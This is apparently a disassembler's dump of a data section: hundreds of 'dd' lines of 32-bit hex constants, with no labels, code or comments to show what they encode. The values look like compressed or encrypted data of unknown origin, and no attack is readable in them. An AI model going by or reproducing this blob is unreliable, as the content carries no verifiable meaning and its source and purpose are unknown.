		dd 4DADC371h, 4337D61Fh, 0D10F2D3Dh, 6B6805C1h,	4CA64940h
		dd 0F3BFE8F8h, 0C8DA472Ah, 2E1C106h, 0C5180F84h, 0E4D79145h
		dd 4802BE19h, 0F733867Ch, 0F9B8CBD6h, 207A25D9h, 1D6E68C6h
		dd 83DC55C4h, 183FC12h,	48C7411Eh, 6C31F901h, 0D47ED6A5h
		dd 0C06CAF02h, 250C2043h, 0DC9F5C86h, 56E99FC2h, 8DBD44FEh
		dd 0C224F82Ch, 60C12BDCh, 824F0B51h, 8C840642h,	19D9FE1Fh
		dd 0C333216Eh, 1762DC4Bh, 0C4EBC131h, 416F569Ch, 2705D218h
		dd 9DA94119h, 0B8203A82h, 0ED41C168h, 3A987DBFh, 0E7F75361h
		dd 3DDBFC17h, 18185FBCh, 0E0C11B32h, 40C50918h,	25290F0Ch
		dd 0F0FCC986h, 8467552Ah, 1C665B2Dh, 9C5F97DFh,	0BB5321BEh
		dd 88AB5427h, 5A0931DFh, 81C2D705h, 40F8040h, 49E459BDh
		dd 0F8EC5A04h, 0A0A34D3Fh, 0B12377E9h, 854926Ch, 522F1D72h
		dd 0D2F71222h, 7933FB87h, 4A22C60Bh, 4F91BC5Ch,	0CB4C1E8Bh
		dd 14715E2Ah, 0E853DC68h, 0AEE956C2h, 0B72DD158h, 449C8FE6h
		dd 9DFA40C1h, 0D164801Ah, 157615Dh, 1EF90DDh, 0FA4321Bh
		dd 0D34EE9h, 18E0E581h,	0C218720h, 0F20420Eh, 27C8124Ah
		dd 0AA0E0436h, 8A9B4A8h, 12DD5AD4h, 0D754384Ah,	1DEC0ED0h
		dd 251CD086h, 83434E47h, 0FB03C3D7h, 7B0AAA89h,	407F84E0h
		dd 0EA7E3144h, 7953132Dh, 0C8E842FCh, 5FC66802h, 18A71F30h
		dd 0B2EC024Eh, 3CDFF307h, 0B0E992A6h, 0C0B9FDC9h, 58000A2Ch
		dd 6FACF181h, 24E91BD3h, 4E57BCA6h, 0BE409EE5h,	19B24177h
		dd 4ED7463Dh, 6E4BBEB8h, 0E9CE10C5h, 9FEB9A07h,	2EE7965Dh
		dd 64FA3B8Bh, 698FB53h,	5DF140EAh, 0FD244390h, 68A51CE4h
		dd 0E1400F5Bh, 882AB93Bh, 4E034219h, 49EBED24h,	0A0665F0Ah
		dd 444ED34Bh, 4DBC334Eh, 9253E5E7h, 26659E8h, 4E03E12Fh
		dd 2FE898C7h, 4D6BD3F7h, 1371C5B8h, 4AC10A37h, 0FB16069Ch
		dd 0FCAC0A2Eh, 0C9EF53ABh, 3EF0414Ch, 0F9BC0F4Ah, 1ED9EBA5h
		dd 4CD7276Ch, 68A39038h, 7C7ECB2Dh, 964269F4h, 5F4FCAF7h
		dd 77CB6A71h, 282E012h,	0B8004143h, 0BDAA509Eh,	2182AC40h
		dd 5C06A426h, 0EE77DC02h, 67895D15h, 2EA857Dh, 0FD5EBFECh
		dd 0F1B903ACh, 0D17A3923h, 3225D9A1h, 0FE0D91FFh, 0E8D1B1C3h
		dd 4AA42DE4h, 1017B818h, 5D12D359h, 32B2FE51h, 0B63C87C5h
		dd 0EA5028EDh, 0F4D3722h, 853180E1h, 43C181BDh,	2B7F1078h
		dd 3B2594FCh, 5458540Eh, 0DB48F75Bh, 25E60404h,	8C04796h
		dd 7E8CA9Ah, 59CB313Fh,	394FA02Dh, 7C9DE973h, 455D256Dh
		dd 0DA1F895Ah, 5422B0DFh, 0E075820Ah, 24352375h, 2D0094Bh
		dd 760D1A70h, 15FD8D0h,	0E9834BE8h, 0CD7610C4h,	0B0365C3Fh
		dd 31D4400Ch, 0BE58C419h, 0CEC8937Ah, 442EBDC0h, 293BAE09h
		dd 8E2465F5h, 9FECE3C5h, 5741663Ch, 0E7C7102Ah,	0A3C5EA05h
		dd 4E8DA034h, 62DFDC9Fh, 0E5483E95h, 83255AD5h,	0DA52FCEDh
		dd 3EA8A2F5h, 0D5310255h, 98F759FFh, 41C576E5h,	3FCF6512h
		dd 53D22E00h, 0B74F7A15h, 0BC475168h, 13696880h, 4224638h
		dd 9C18AE9h, 1FDA735Ch,	76898953h, 0FBA0A0D3h, 8C68071Ch
		dd 0B759D1EDh, 0F595A74h, 0CB525FF8h, 0D2680B31h, 7F1DB245h
		dd 14A22D70h, 0DDF8CA55h, 0BEF83DE0h, 36FC80D2h, 0FCA0A41Dh
		dd 52A17C4Ah, 76D9BA05h, 0FDC24519h, 0C63341F6h, 0C06EBCFh
		dd 57555F42h, 24095D28h, 80BF4135h, 317A697Fh, 20D990D7h
		dd 5701FB8Bh, 0B160F68h, 0F1505F05h, 2AE9E7D1h,	2DA8CFF0h
		dd 43DB3D95h, 4E0BB42h,	0A4F4EE45h, 0FF25975Bh,	3E27A8EFh
		dd 0F900F8BAh, 0C3CA8173h, 9F21C43Fh, 5833CE83h, 3F4E243Fh
		dd 0A010ECEh, 0D4F6C04Bh, 0B5E8A1E6h, 1B7D0509h, 0E1DFC2A3h
		dd 0C83E4A80h, 5B05064h, 14210D31h, 373A315Fh, 759BD33Ch
		dd 0F4543C2Fh, 29B07063h, 0F4F39B6h, 803058C2h,	7A5970ECh
		dd 326D20E5h, 0BB65EBF4h, 4DC8D816h, 877C40DBh,	0BF2DCD77h
		dd 60737EA8h, 4FFB0213h, 7C2E4C9h, 0EE60251Fh, 4C175496h
		dd 0B810672Ch, 11651A3h, 7B0C9DC5h, 54E12E00h, 0B020A33h
		dd 0A9BCE941h, 0BAF62D6Eh, 20E8F292h, 0FA0115C0h, 9BD5553h
		dd 618A6823h, 0F5E9BCA1h
		dd 0CAEF5159h, 0B78B3A6Ah, 0C340FE4Fh, 0D112CB8h, 83429D4Ah
		dd 9D36F17Dh, 404A77D0h, 4AC868E8h, 3CB7189Fh, 574FCE56h
		dd 0C8C5B519h, 215B934Ch, 9BE66F05h, 5512978Ah,	0F98BFE54h
		dd 2E69531Ah, 0F4622C4Ah, 5C9E7852h, 663F6182h,	347C5D79h
		dd 2791B908h, 68B56857h, 0BD1A5B7Bh, 82680F4h, 5DE91305h
		dd 9E5A9948h, 0B8D04E31h, 302A4CEBh, 0FC0C4082h, 79BF770Ch
		dd 0D00820FFh, 1852140Ch, 398EBF2Ah, 0F65B6859h, 12FB1B38h
		dd 822C1485h, 0A950970Bh, 974AE343h, 137D1850h,	0BF561A25h
		dd 15A21E90h, 31CC26F7h, 44A73DFAh, 0EF5A3304h,	0C6F23AB8h
		dd 45B996A0h, 25C887Dh,	139606FEh, 0C560439h, 73C50F1Fh
		dd 8BC04B0Ah, 63760CEFh, 20FB062h, 0DFA6E254h, 305D5E57h
		dd 8097120Dh, 16709468h, 50037E97h, 5A80F6E1h, 12B52968h
		dd 6BB68E8Bh, 0F29F00Bh, 0F803A255h, 0F52D05ACh, 4FF66ECCh
		dd 9CCF184h, 86837D31h,	0EF84434Ch, 1CBACBDh, 8B8DB208h
		dd 702505E9h, 105C8E59h, 0BA032BFFh, 6AB86CC7h,	380DFED1h
		dd 1086D584h, 0BA484DA2h, 0D17E8706h, 0D2FC233Eh, 16411D5Eh
		dd 6FC206E4h, 335598DBh, 684B1D3Ah, 0DC6D14h, 989587Ah
		dd 60DA46D5h, 0EFACDE85h, 987B118Ah, 84A4B51Dh,	0DAF1FEC7h
		dd 97F0C9Dh, 8ED8383Ch,	0AA502D20h, 0C0E64A1Dh,	2E166142h
		dd 26823F78h, 0E80E13A0h, 1BAD69Eh, 0BB5F7B68h,	89BE826Ch
		dd 0F09344A0h, 97EEF221h, 92BC967Dh, 42CA0291h,	77E951E7h
		dd 5E4BE078h, 1F2E0FE4h, 964D8C4Ch, 0F639B023h,	0D72001B0h
		dd 0A8AC4E3Eh, 28627859h, 91F45E8h, 0E22D05Dh, 182084F5h
		dd 2A49EE58h, 115D802h,	405652EFh, 48CE6735h, 7611B11Bh
		dd 7DC7036Bh, 0B0E5A3EBh, 275AA0C6h, 0DFF2311Fh, 16E90880h
		dd 5B420E49h, 0A84F62BDh, 84050771h, 0F42A8C7Fh, 10D2343h
		dd 0C680DEBFh, 6EF128FBh, 847B24E5h, 0CCB7BFACh, 0A812B8D7h
		dd 5E327E9h, 7AA681F1h,	75CC7527h, 0FEFD8D0Eh, 0B88ADFFh
		dd 5AD8B87Eh, 3A11A1F2h, 0E0ED020Eh, 603E400Bh,	2DBBD087h
		dd 0A3E2308Eh, 278ACCDDh, 6F5B113Ch, 62E10E12h,	94A6FD6Bh
		dd 8F645B0Ch, 0B6F191Fh, 0E997D5C4h, 2FA8390Ch,	2DFA9854h
		dd 5EA0BF4Bh, 0BCF8FCEEh, 6CB2125h, 0B01C8CB2h,	0EAF6D216h
		dd 6709AE71h, 0D583FB05h, 3692A6B9h, 171028B6h,	0DD37E9EEh
		dd 0EB04288Fh, 0A7101FA9h, 0D3BF0313h, 0D127CA2Fh, 2884C9C7h
		dd 0AB186855h, 0D67B71B0h, 0D3E7B2E1h, 9068FC6h, 67F16805h
		dd 80052946h, 311130CFh, 0CDBF7084h, 0C9226022h, 2DB95F40h
		dd 0B3703AF7h, 0BA1D84F6h, 464C077Fh, 97E5652Eh, 44F8043h
		dd 38C9B3ECh, 0EA80E57Bh, 63253A46h, 77589D01h,	5FFA0888h
		dd 57950092h, 1F59EB16h, 27533B29h, 82B562E7h, 0DD791BB3h
		dd 0F4A84FF9h, 856D651Ch, 5613A0ACh, 0D59A6509h, 0A0F8FFCEh
		dd 0DD97E0B2h, 0BBFEC294h, 0FAD3DA4Eh, 5C79D2D6h, 92400F7Fh
		dd 0E420AF3Fh, 0EFB7C2EEh, 94D38928h, 0F21C71Dh, 84FD52DFh
		dd 6BE965C0h, 82E50EBh,	2F141C68h, 5D2DF954h, 0D0D5C409h
		dd 0BBEA4B18h, 6DE60D45h, 343D37BAh, 87DCEB4Ah,	69E52B68h
		dd 6FAE02F2h, 0C47F5934h, 53FB343Eh, 9D81FB49h,	2102BB65h
		dd 78AC18Ah, 132DCFB8h,	0CE1FD709h, 5E4C19F7h, 82A47651h
		dd 7D0EC574h, 0F6BAF342h, 10B41668h, 0E1D8209Dh, 38171388h
		dd 21899122h, 0A8AC2E92h, 2B77B789h, 55F942C0h,	0E5BF251Eh
		dd 0BCFE0BDAh, 59BF6694h, 0A9E90BA3h, 8648D82Bh, 8007E6B6h
		dd 0F3285EC3h, 0D75FEB57h, 0E9FB9CABh, 4DC17F4Ah, 0B9DC4AB5h
		dd 0A37EB587h, 25328472h, 0C2FBB204h, 0AE5106E6h, 4E31042h
		dd 0FD8AA01h, 54582568h, 0E18213D9h, 7D41B34Ch,	0C0E01A4Ah
		dd 0E7127E10h, 0B94B4D66h, 0D84A00DDh, 95762022h, 0CF858889h
		dd 0C0CC45E2h, 0B335BE02h, 0F41806F9h, 5DEF89F6h, 0A8C72926h
		dd 0A6CAF42Dh, 585A00DFh, 0B41802Dh, 0F8014D0Ah, 5F140705h
		dd 0D1A5E1C3h, 0FA3CC86Fh, 80EE61C9h, 37E4C64Ah, 0C7B6933h
		dd 0F3DC6202h, 0B032057Eh, 4026FE10h, 660EC5BBh, 0C831417Dh
		dd 4AC1A71h, 0F4D89F70h, 416BFB37h, 0BC0C19B1h,	501EEC2Eh
		dd 0AFA7DEBEh, 753349CEh, 0D6A5F05Bh, 324B503Fh, 27E5065Ch
		dd 0F5C8E249h, 0E950CF51h, 2E3858A4h, 2173FA8Eh, 3FC85BDFh
		dd 9FB9294h, 0B278C104h, 0BE476996h, 54F957B9h,	5A09F810h
		dd 0ED59C330h, 0FF125745h, 0FDC246F1h, 0E961B471h, 8C7BFFB8h
		dd 90614330h, 9759C865h, 9D4FEC6Ah, 0E867E9DEh,	4C5810E4h
		dd 4517100Bh, 0D4E1FCCFh, 9BA57DD7h, 0FC2748ADh, 0DC92B7D6h
		dd 24D7C84h, 51F4F380h,	0B2524030h, 5E9F88FDh, 9854581Dh
		dd 0FDDCCAB5h, 0F7741F06h, 93E2585Ch, 0E8C885BFh, 87D4B724h
		dd 5EF66802h, 6F57AAh, 6EC16BCDh, 0C80338BBh, 0E2E9A209h
		dd 16305A74h, 830089Eh,	2D8782Dh, 2F5DBE56h, 0CAC11EAEh
		dd 0DC680024h, 89B3994Dh, 157A8B2h, 0C9C18005h,	98BEB5C3h
		dd 0D0B569FAh, 0E999122Ah, 4FF47h, 3CBF5B54h, 7AECE979h
		dd 0E5C5C5BDh, 0FEBD4431h, 0DBDAF8Ah, 695EBA80h, 0DF984146h
		dd 2CDA3E59h, 50CB1B5Dh, 780DD23h, 9520741Fh, 0D1BE0BC3h
		dd 5D2DB7A0h, 4B75A453h, 0B322E6CFh, 62581A0Bh,	80D8DFC4h
		dd 0CF4AFCE7h, 8123364h, 107FCBAEh, 5632AD72h, 7B582C92h
		dd 0ADF4C7B5h, 158B1556h, 8D26F138h, 0D63951EFh, 0AEBDC8DEh
		dd 688091FDh, 37E6112Ch, 1850695Ah, 0E55DE4ABh,	595E4927h
		dd 166EA871h, 0F44EBC9Ah, 521F4FF8h, 53C097E9h,	7609FAE7h
		dd 9593D00Fh, 5058ED5Eh, 35141CB8h, 126DEE62h, 0FEBF562Ch
		dd 61C51D46h, 43A525D3h, 1653D398h, 0BF26459Fh,	8774FADBh
		dd 97E0D82h, 88810C79h,	0D83059CBh, 13882D38h, 4AFC831h
		dd 260BA36Bh, 0F6ADB04Eh, 0E781C0FBh, 0DF076C9Dh, 2764E91Bh
		dd 0E765FF09h, 4051B9B2h, 47091C5h, 0EEE945BDh,	7A92F50Bh
		dd 47622E8h, 0AB7B44EDh, 0BC50EE14h, 1D894008h,	0B63B5B81h
		dd 0A4E94E79h, 64D1F0B4h, 4B274116h, 3D439104h,	0D92E67E5h
		dd 0A54B7B0Eh, 2F9D5E5Dh, 0DCA74759h, 0D34ED0CDh, 121EBA80h
		dd 0BF5EB03Ah, 442110Bh, 2800F286h, 0F48059CCh,	8069265h
		dd 0C34FA0BAh, 0E36E8270h, 6AE9A310h, 0B9320228h, 1DF2D59h
		dd 5D2DAF7h, 840FC90Bh,	568D9202h, 56B2D675h, 0A943A294h
		dd 0B2BF8438h, 5F09B04Fh, 0DDE7BF1Ch, 2720AEA8h, 5B661205h
		dd 6215042Ch, 0C6290243h, 5DA44258h, 5202AFF0h,	6C65B668h
		dd 56FF6872h, 84E91654h, 748ABB49h, 0AF454C64h,	0BA5B0AE9h
		dd 7A56755Fh, 5BB8DF0h,	0CF44F32h, 0EB830FD1h, 63B63903h
		dd 5EA5F3B0h, 545484Ch,	4D593FC3h, 1392FF04h, 2654530Bh
		dd 3375200Bh, 6CD6307Ah, 7394C379h, 5C6E8B34h, 0C8B59EEh
		dd 1B39C474h, 804E72B7h, 955CE908h, 0C15B54E2h,	0CB707EC9h
		dd 70C8304h, 0F8C7CCB8h, 442A0500h, 4019017Ch, 0ACF22D48h
		dd 347EA674h, 11FF1404h, 0E928BAFCh, 0BCC9908h,	0E6E808ECh
		dd 9E3B6905h, 0A6F1033Ah, 0D9733E2Dh, 5B028313h, 0A144E485h
		dd 0D9332B36h, 5487F2D8h, 57B9E0FBh, 100CFC36h,	0BF0B5168h
		dd 5300EFC9h, 2512F0BBh, 27FA7F8Dh, 702558D7h, 600F8278h
		dd 83DE1A31h, 7478F5E8h, 9315383Dh, 0CBE4F9AEh,	25174BB2h
		dd 0B6840F74h, 0A9F3AAD3h, 3C64EF96h, 0DA5D38FFh, 9D87F440h
		dd 17BFFC5Bh, 1AF49EB7h
		dd 900574E2h, 38853648h, 42601D0Bh, 0E977300Fh,	0E32D4F10h
		dd 7F889F05h, 0FAE2818h, 4FE62F07h, 0FB34F065h,	0A9386FDDh
		dd 0E4203C22h, 9D5496F4h, 0BB0E24EBh, 30775DEBh, 5AF0684Ah
		dd 0C091CC1Dh, 3E786C70h, 97BDF6BFh, 1F57BD1Ch,	480906C6h
		dd 754842E8h, 501F844h,	3144044Ch, 0E32E5BDDh, 5AD84001h
		dd 6CFDDC5Ah, 79BFA09Fh, 0A1B069C3h, 6B4A4F68h,	0F7159DF3h
		dd 1E12922Fh, 931CD118h, 0C1BB0447h, 2BCD2956h,	2F7C1DCAh
		dd 10FDA968h, 365B9A4h,	0E9729E30h, 43404F1Dh, 3B0B68A6h
		dd 5E135E0Bh, 120138A1h, 9AE94608h, 34902F30h, 0C483DEBh
		dd 0DF897F1Ch, 0CD09EF12h, 0F0693237h, 0B05BC2h, 530BB985h
		dd 80954D5Dh, 3602AAADh, 6DE91220h, 1A8020B3h, 144CB065h
		dd 1DE70A41h, 0CB1C8D23h, 54A50FC7h, 5738E3C0h,	0EE1B4A0Ah
		dd 2F68EA88h, 0A3987078h, 0BE25576Fh, 1D29D17Ah, 0CCB78B23h
		dd 70F109D5h, 659296DFh, 0D0F65CFFh, 0DD51259Dh, 57A5E245h
		dd 82B478CFh, 0AC5A0D83h, 921C1A5h, 0A27977EAh,	98656869h
		dd 0C1DA9C37h, 550788E9h, 0BD3EC6Ch, 743FBB58h,	35512D37h
		dd 54925723h, 9305ECF8h, 0C01BD57Bh, 2F658821h,	0B5E9123Ch
		dd 36E82D26h, 0DD473E05h, 3ABE0D1Eh, 9EBC2A0Dh,	3D2B8B41h
		dd 1BB908F0h, 2A5CC1E0h, 4FAE506Dh, 0CF002776h,	6334651Ch
		dd 95F052E9h, 1BB9556Bh, 13FC4850h, 0B0C361Eh, 0AB15A4CBh
		dd 12B452E4h, 0A303B168h, 0EE432E6Ah, 8E2DE2A0h, 92A95B16h
		dd 15F7EFC6h, 25FFF396h, 0AF17F129h, 605F453Ah,	9E7416DFh
		dd 783D514Ah, 0E2047B7Eh, 487F153Ah, 68027FC0h,	2B634D28h
		dd 1050F781h, 71BE3807h, 82BD1776h, 40AC37Eh, 8160BE5Fh
		dd 27BA70B0h, 84F8482Dh, 0FE97CD2Dh, 2EDA7AC8h,	6154572Fh
		dd 30C45A9Ch, 6251902Fh, 29E90D56h, 0E62FCE56h,	124D5A50h
		dd 5F2AFF6Ch, 2CCEB902h, 2FC10233h, 62B7B096h, 7C3C3635h
		dd 0C4235B9Bh, 0AAB3BA10h, 0F7E95681h, 0C25E2D98h, 4055535Fh
		dd 2D750870h, 0B763695h, 23EA2501h, 0F1D47218h,	2E3E040Ah
		dd 92399EE9h, 24FF05ADh, 53825AF5h, 69FA56CFh, 6C3E4A02h
		dd 8D5668FDh, 9D6B229h,	446B2ADAh, 0AFB83904h, 0C99E52FDh
		dd 86FC3A2Bh, 75CEAC89h, 0A44A2ADAh, 1968FEC0h,	0BC989757h
		dd 0B5B6C4E2h, 0BBC0A496h, 3D666EBAh, 2E184727h, 5B5421BBh
		dd 5000799Fh, 1683920Bh, 0F1780Ch, 50DCB76Ch, 0B6A109B4h
		dd 7BFDC20Eh, 34754B7Ah, 0C1E9166Dh, 0D3DDEF14h, 0C583BC7Eh
		dd 1E251658h, 12885CAAh, 0D4A7EB0Dh, 0F5719318h, 7A070545h
		dd 68575665h, 5B394E00h, 0EC664BE9h, 31B75BBFh,	687E9C2h
		dd 72C3AEA7h, 38553AD2h, 0BD0BEF9Ch, 0C3AF13DBh, 0C18E4F8h
		dd 0F7820A82h, 657BFDE0h, 2D7DF201h, 2BC02E6Ch,	80151920h
		dd 6A4BD268h, 0EFF5A8F8h, 7425C7A6h, 0F6806F40h, 12F6414Ch
		dd 0A8B32669h, 84A2498Ah, 0EE09C380h, 0E001C3B1h, 0AC6F5235h
		dd 6D04D790h, 54021C3Ch, 0F6D4F3E9h, 0CFA2C16h,	1B3852ACh
		dd 0C13E6481h, 7CF06A9Eh, 0AFC707A3h, 0E0B9CEBFh, 5BC58330h
		dd 9D47AC01h, 671DEA02h, 49DB404Ah, 17CEFEF1h, 2093F9E9h
		dd 91602470h, 0F5315415h, 30096CAh, 0C1875CBDh,	58A12DE9h
		dd 677E9912h, 0B3F6D81Bh, 6810C060h, 0A9245353h, 6BCC477h
		dd 2AFBC9B1h, 810204FAh, 61C70244h, 0AFF4E15Ch,	0CB3B13DFh
		dd 63C24459h, 575C0BA0h, 1C400316h, 8097AAF0h, 0B0032BA8h
		dd 0FCF8B2ABh, 0A2D64BE4h, 28D4050h, 6963F1B5h,	0E9E250D7h
		dd 0E240F16Ah, 5438F044h, 6CEE4F30h, 78FDEE2Ah,	44C4D3C6h
		dd 228A01ABh, 0EA37D74Fh, 5C82D160h, 0B9286000h, 0EF130618h
		dd 7DE90481h, 0BB78CE0Dh, 8C10C0Ah, 1D015D16h, 67AB3D75h
		dd 0AAB3C56Bh, 30D5CA83h, 9764D909h, 7900DA05h,	5A7CF681h
		dd 25570E1Dh, 9D0B2CE9h, 0F78347FCh, 7F61E4B7h,	597C97CEh
		dd 4F92909h, 0E3B09A67h, 0F868125Bh, 6C6D3934h,	80F94B81h
		dd 0BE7D7384h, 68907674h, 0B135C868h, 0FED3A7E3h, 528E384Bh
		dd 2075B68h, 1370E965h,	429A5B7Dh, 0EFF8A3E9h, 0B020682Fh
		dd 2F09EEE9h, 8BF354E2h, 442100BBh, 0BEE92622h,	29DFA818h
		dd 0EA57E6C3h, 0B5032BFh, 2341FB12h, 2AE86A52h,	4F87F9F6h
		dd 0E2CD988h, 58FF964Eh, 95C585B0h, 5879F225h, 0A05D5F6Eh
		dd 0E7961F8Eh, 0CBEB3DBCh, 0C18484ADh, 0B9FB80EEh, 3927578Ch
		dd 0D19EC061h, 2F4175E1h, 0CFFE6946h, 5C6F7CEBh, 545E6816h
		dd 0C11C90F3h, 1E7F2531h, 98BB3B3h, 947F1A33h, 285D4FC0h
		dd 333268FFh, 78CC3749h, 1CDB5DDh, 0A364E909h, 83762CE7h
		dd 0CF4EEFF0h, 82250993h, 5AD012Eh, 0A8C1AA5Ah,	44EDD3F7h
		dd 0A2FBBDBFh, 42F8DDA1h, 65810CBh, 953602ADh, 2E5AABCEh
		dd 7AB98EC0h, 701D272Fh, 9439ED43h, 789FAE2Ch, 98D2A409h
		dd 0E8F58184h, 0B3C260Ah, 2DE500B1h, 0E889471Fh, 4D419A98h
		dd 0E9E9B16Eh, 7B217EF2h, 0B0150290h, 8048858Dh, 0B3530B53h
		dd 7A190B94h, 92F020A7h, 6D3B8DA0h, 2706E697h, 3C4E1E69h
		dd 97B2F1B0h, 0FC0F1495h, 0FFCB9DFEh, 115AAFB4h, 1D2B570Ch
		dd 40364655h, 0CEB205C1h, 3229544Eh, 1B6C7A82h,	426066DCh
		dd 95004E7Dh, 83B95129h, 9068697Eh, 9BC70B1Eh, 0D554AF82h
		dd 0F2AB9612h, 5E50C46Ch, 0A61462ABh, 31043DFCh, 0B3FA5B1Ah
		dd 9468C21Ah, 891B5975h, 3B4E488Ch, 5D0EC9Fh, 0B818E7C1h
		dd 0E99A8721h, 6AAD1700h, 5077559h, 0AC5EAE3Ah,	0ADE85AB5h
		dd 7F71B2B1h, 0A8F45C2Dh, 0D05BBF52h, 0EC4598BDh, 166ECB91h
		dd 0FE0DE62Eh, 148D0813h, 0D461B43Fh, 32685A13h, 1A8DFE91h
		dd 9F1DBD00h, 0C8AE4F26h, 0D4F83189h, 530CCCF4h, 0F416E927h
		dd 339E42ACh, 0B95BE1A5h, 50C38AFEh, 491FB08h, 8D039E68h
		dd 2EA9E033h, 0E9111895h, 0A5645F6Eh, 95A26B82h, 5F5DE809h
		dd 1326E5F7h, 2191F0BEh, 235BD825h, 2D0A112Bh, 0F8F86A73h
		dd 0E9E2939Ch, 25795652h, 0E9E121D1h, 1243BCAh,	0E9264147h
		dd 2791722Ah, 8BC55DC5h, 3CD1ED81h, 0CB07756h, 292884F0h
		dd 834C568h, 14020C34h,	512C8758h, 8B8089A9h, 0DE391A69h
		dd 0EB9B660Fh, 89DF937Ch, 0C6F7AE65h, 6EDA2F14h, 0FD203A64h
		dd 245A76D4h, 65203D40h, 412CBA5Eh, 0A2035A3Eh,	0F84DDFFFh
		dd 0FBE14B33h, 10D0C420h, 475396Ah, 2AE1111Ah, 31D2E0EBh
		dd 56CF7B19h, 37D4C111h, 0D4106249h, 440D6C69h,	10BAF93Ah
		dd 800B5B36h, 61844ACAh, 796BA313h, 2F19754Ah, 9E23C2DEh
		dd 0D69F284h, 9500B45Bh, 13573C66h, 64C22949h, 0BAC0BA01h
		dd 44E3137Bh, 6612E71Ch, 5AA08B6Fh, 9F2970A9h, 0B1AA1455h
		dd 0B2960953h, 745A457Ch, 8A74528Dh, 269581E5h,	231540AAh
		dd 42473F1Eh, 2F0E5158h, 70D0FEEEh, 5D81D972h, 4C75F3F8h
		dd 0C814321Dh, 0FC5A0705h, 0D4FB85CDh, 0FD55CCEAh, 294AC0F4h
		dd 0C0551CAh, 0F112B64Fh, 16C50599h, 63B0A235h,	15F69E4Eh
		dd 87466814h, 0C202C58h, 0F17C5776h, 0CEF249B5h, 0BBFEC52Eh
		dd 0EC13EE8Eh, 0EF4D644Fh, 68A0FEFCh, 989F60FDh, 0A1B0D5CFh
		dd 3B34A236h, 76DF3168h, 7E22F98Dh, 6F7EE721h, 625F9702h
		dd 0B7D3C4C1h, 0E3C320Ah, 6B85135Eh, 2CAED41h, 494074E1h
		dd 5B5CC00Eh, 0FDC32F94h, 15DC3CE2h, 83054B24h,	930B587Fh
		dd 0B83BC1ADh, 0C237236Ah, 0C21A98E1h, 58C7D455h, 62E5F0FEh
		dd 52AB4BCFh, 30E3BB89h
		dd 0F2934E16h, 3B5C2468h, 8B6955C9h, 0FF508993h, 0C8425564h
		dd 0BF2516F5h, 407AD95Ch, 88F31EE6h, 6C02A92Dh,	0D0013189h
		dd 96078F05h, 0B9FE5EEFh, 3CC93084h, 85B5D05Ah,	5580D8E2h
		dd 2522FE68h, 0BAF74715h, 5003C286h, 0F0599CEDh, 0FC5EA5E9h
		dd 52E006B8h, 0B5383EB2h, 0E9D506EFh, 3B2A6A31h, 95FDD009h
		dd 0F357B0E2h, 36740BBAh, 71C5ABB0h, 33737F1Fh,	72182DBEh
		dd 1FAD2B81h, 11AE3FB9h, 18BD8E4Eh, 0C07444A4h,	4560CE8h
		dd 0CD014876h, 376616E5h, 5EEE24E9h, 0EE3C62C1h, 3F00820Bh
		dd 20A6FA43h, 0B50247F7h, 2EF580D4h, 0EA8FE388h, 92095F27h
		dd 6970655Fh, 0A1BD4022h, 0E70FBAE4h, 65108E58h, 30BE2DC2h
		dd 0F924C159h, 2C86827h, 58EB8783h, 0DD609DF7h,	5CE458FBh
		dd 33C3F2B7h, 0E08B92D2h, 2F9C17B9h, 53253DE3h,	0E2ADE387h
		dd 46DF5D20h, 64B9FE5Fh, 805E1E25h, 8E375AB2h, 6590645Bh
		dd 307AABE1h, 0C3B247BFh, 0AD2E73CBh, 0A024DD09h, 7213D802h
		dd 0ABB4406Bh, 413D354Dh, 1CC8BAAAh, 8C201417h,	563FE56Bh
		dd 0C0CE6ABEh, 5238E971h, 41E34B9h, 7F5F6E8Fh, 5FA92B96h
		dd 147DA010h, 38DE1C1h,	0F85BCFF1h, 50900913h, 0F9033F48h
		dd 0D89A59C8h, 2EE27C61h, 8BEE5413h, 0F8FD4BF4h, 8CFD00D2h
		dd 531B582Bh, 657B6805h, 488510B3h, 0E8B917E0h,	9F3FFE3Dh
		dd 0E1019EFAh, 17922F2Bh, 0A347D9F7h, 95C75839h, 0CF9EA477h
		dd 81BAF694h, 70EF308Eh, 0F682B196h, 7D142856h,	0D421EEE1h
		dd 841226Ch, 5D13806Dh,	1218E35Bh, 39BB3A98h, 1EA93B02h
		dd 1E74E694h, 417A2BEh,	0C72F0F05h, 562F88E5h, 36BCB1CBh
		dd 71B3004Ah, 93B61252h, 0EB4BEB88h, 174401D3h,	0BD7FDD28h
		dd 0E9127BA3h, 0C8EA40D6h, 584468B2h, 9705CE2h,	0EA03513Bh
		dd 5AD7887Ch, 5ECF5A25h, 0E7CC0822h, 0E8015C00h, 263B6B2Dh
		dd 0AF3E6237h, 20F49E55h, 594E6569h, 7E9BD9FAh,	0F112B98Bh
		dd 6B97D0DEh, 0EEC95517h, 4A4FF824h, 0D627F505h, 0E431A857h
		dd 116E810h, 13D5ABDEh,	7409BEB8h, 0E560F58h, 4963705h
		dd 5EAF1ABh, 2FE50C08h,	0B70BEF33h, 846A1152h, 1DF79B8Ch
		dd 3C95E84Eh, 5530CF9Ch, 8F86164h, 5323E965h, 0F0EB3012h
		dd 66135B07h, 4B045E68h, 21B49AE6h, 1B3A1810h, 2EBA0C1Fh
		dd 0F3A64760h, 5CF95066h, 7120424Dh, 0CD84D695h, 58C7709Ah
		dd 5FE7A2B5h, 5818D750h, 0C1823C7Fh, 5A200635h,	0C021D55h
		dd 0C6CA8171h, 8231B90Bh, 0FF8BEB18h, 75F542B1h, 190D6F8h
		dd 41CC914h, 0F9D525F6h, 510360C8h, 467F2755h, 7258F604h
		dd 1AAF7AB9h, 79FF88EAh, 0EF11E2BEh, 17F871E8h,	5F276727h
		dd 0CD8089E5h, 0E919FFF6h, 0F56B5FAAh, 0ADBEDC5Dh, 0D8568CA9h
		dd 724839B1h, 0C5F7279Eh, 49BD0094h, 0E9121960h, 200A845Dh
		dd 0E95E5EF7h, 78F51C10h, 2F215888h, 0D3683D01h, 0C447381Ah
		dd 3104F3BBh, 0DEB6EFF0h, 0C1D0334Bh, 0E502F4E5h, 0F6CBA39Fh
		dd 440EB190h, 391BCED8h, 0C64C2F0Dh, 0E5017605h, 3937E8F8h
		dd 4B654908h, 0F0BBB584h, 31E468A5h, 6F0363C4h,	0C0670413h
		dd 0E6550BD5h, 555D4907h, 4D4BC4Eh, 3FD92D89h, 0A4102CBDh
		dd 0DA317DFCh, 2211550Eh, 33C0EE04h, 0E68AEB80h, 0E65A70C3h
		dd 5B132F68h, 0FBD9D98h, 643E7CBDh, 7C289B1h, 0B82682A3h
